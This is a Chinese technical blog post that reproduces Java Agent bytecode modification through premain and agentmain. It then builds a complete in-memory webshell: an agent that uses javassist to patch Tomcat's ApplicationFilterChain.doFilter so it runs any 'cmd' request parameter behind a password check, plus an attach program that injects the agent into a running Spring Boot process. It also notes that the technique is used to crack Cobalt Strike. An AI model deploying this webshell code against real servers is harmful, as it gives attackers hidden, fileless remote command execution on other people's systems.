前言
今天看到一篇文章,寫的是關於JAVA Agent相關的資料(附1),裏面提到了Java Agent
的兩種實現方法:
-
實現
premain
方法,在JVM
啓動前加載 -
實現
agentmain
方法,在JVM
啓動後attach
加載
因爲最近流行破解CobaltStrike
不再直接使用反編譯打包源碼了,而是使用JAVA Agent進行提前字節碼修改。並且文章中也提到了javassist
工具,我之前也用過javassist工具進行破解過Charles,因此抱着學習和複習的態度來複現下本文提到的技術點。
JAVA Agent兩種方法復現
Java Agent
簡單說就是一種可以修改jar
字節碼的技術,我們來複現下上述提到的兩種方法。
premain
通過實現premain方法
,並在啓動jar時添加-javaagent:agent.jar
即可進行字節碼修改。首先我們創建一個正常輸出、測試用的JAVA
程序,hello.jar
:
package com.test;
public class Hello {
public static void main(String[] args) {
hello();
}
public static void hello(){
for (int i = 0; i < 1000; i++) {
System.out.println("hello");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
生成jar包:
Build -> Build Artifacts -> Build
正常運行jar包得到如下輸出:
java -jar hello.jar
接下來編寫一個實現premain方法的JAVA程序:
package com.test;
import java.lang.instrument.Instrumentation;
public class premainagent {
public static void premain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m premain agent!!!");
}
}
}
並在MANIFEST.MF
添加一行:
Premain-Class: com.test.premainagent
生成jar包並加載執行:
java -javaagent:premainagent.jar -jar hello.jar
可以看到,成功的在hello.jar
本身結果輸出前輸出了premain
方法的內容:
前面也提到現在破解CobaltStrike
流行用JAVA Agent
技術,我們看下破解工具的源碼,能發現確實用的也是premain
方法進行的破解:
agentmain
但是有些JVM
已經啓動了,不好去讓他重啓,因此這個時候agentmain
就派上用場了,可以方便的attach
對應的進程進行字節碼的修改。
編寫一個實現了agentmain
方法的JAVA
程序:
package com.test;
import java.lang.instrument.Instrumentation;
public class agentmaintest {
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m agentMain!!!");
}
}
}
並在MANIFEST.MF
添加一行:
Agent-Class: com.test.agentmaintest
生成jar
包。
再編寫一個attach
程序(附2):
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class TestAgentMain {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
//獲取當前系統中所有 運行中的 虛擬機
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd.displayName());
String aim = args[0];//你的jar包
if (vmd.displayName().endsWith(aim)) {
System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(args[1]);//你想要加載的agentmain包
virtualMachine.detach();
}
}
}
}
生成jar
包。
依然嘗試對hello.jar
進行字節碼的修改,但是這次是運行着的hello.jar
:
首先運行hello.jar
:
java -jar hello.jar
對hello.jar
進行啓動後的attach
加載:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
發現成功在hello.jar
運行過程中進行了字節碼修改:
內存馬
既然可以修改某個方法的實現,那如果修改spring boot
的Filter
是否就可以實現一個Filter
內存馬?這裏通過修改org.apache.catalina.core.ApplicationFilterChain#doFilter
來達到實現內存馬的目的。
依然實現一個agentmain
方法,只是這次agentmain
方法中不再是System.out.println
了,而是接收request
的值來執行命令。一開始跟着前文提到的方法進行復現,發現有一些問題,比如attach
後會爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上這兩句:
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
除了上面agentmain
章節中提到的,在MANIFEST.MF
中添加一行Agent-Class
,還要添加一行:
Can-Retransform-Classes: true
且最後執行命令的JAVA
代碼,申明變量類型時得是完整路徑,如InputStream
得變成java.io.InputStream
。最終代碼如下:
package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class memshell {
public static void agentmain(String agentArgs, Instrumentation instrumentation)
throws ClassNotFoundException, UnmodifiableClassException {
instrumentation.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer){
System.out.println("premain load Class2:" + className);
if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
System.out.println("nonononononono");
return null;
}else {
try {
System.out.println("tryyyyyyyy");
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
"javax.servlet.http.HttpServletResponse response = $2;" +
"request.setCharacterEncoding(\"UTF-8\");" +
"String result = \"\";" +
"String password = request.getParameter(\"password\");" +
"if (password != null && password.equals(\"xxxxxx\")) {" +
"String cmd = request.getParameter(\"cmd\");" +
"if (cmd != null && cmd.length() > 0) {" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
"byte[] b = new byte[1024];" +
"int a = -1;" +
"while ((a = in.read(b)) != -1) {" +
"baos.write(b, 0, a);" +
"}" +
"response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +
"}" +
"}}";
ctMethod.insertBefore(source);
System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
},true);
instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
}
}
打包成jar
,然後啓動spring boot
:
開始注入:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar
成功執行命令:
總結
本文藉着公開的文章學習了Java Agent
相關技術,分別對JVM
運行前和運行後的字節碼修改進行了復現,現在JAVA
內存馬越來越流行,藉着反序列化等漏洞可以悄無聲息的上一個Webshell
,如何發現此類攻擊手段也是一個重要戰場。
附1:https://xz.aliyun.com/t/9450
附2:https://blog.csdn.net/qq_41874930/article/details/121284684